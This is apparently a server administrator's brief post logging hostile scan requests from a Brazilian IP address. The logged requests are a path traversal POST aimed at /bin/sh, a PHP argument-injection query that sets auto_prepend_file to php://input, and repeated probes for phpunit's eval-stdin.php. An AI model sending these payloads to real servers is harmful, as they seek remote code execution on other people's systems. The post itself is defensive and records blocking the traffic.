Got this today from 170.231.48.3 (AS265060 - one of Brazil's bazillion autonomous system numbers - there is no end to them - I block them and block them and still there are more of them):
User-agent was simply "Custom-AsyncHttpClient"
POST/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh
POST/hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input
GET/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
GET/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php
GET/vendor/phpunit/src/Util/PHP/eval-stdin.php
GET/vendor/phpunit/Util/PHP/eval-stdin.php
GET/vendor/phpunit/phpunit/LICENSE/eval-stdin.php
GET/vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
GET/phpunit/phpunit/src/Util/PHP/eval-stdin.php
GET/phpunit/phpunit/Util/PHP/eval-stdin.php
GET/phpunit/src/Util/PHP/eval-stdin.php
GET/phpunit/Util/PHP/eval-stdin.php
GET/lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php
GET/lib/phpunit/phpunit/Util/PHP/eval-stdin.php
GET/lib/phpunit/src/Util/PHP/eval-stdin.php
GET/lib/phpunit/Util/PHP/eval-stdin.php
GET/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
GET/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
GET/www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
There was more of that. All generating 404's.
Another UA added to my server's blocking pile.
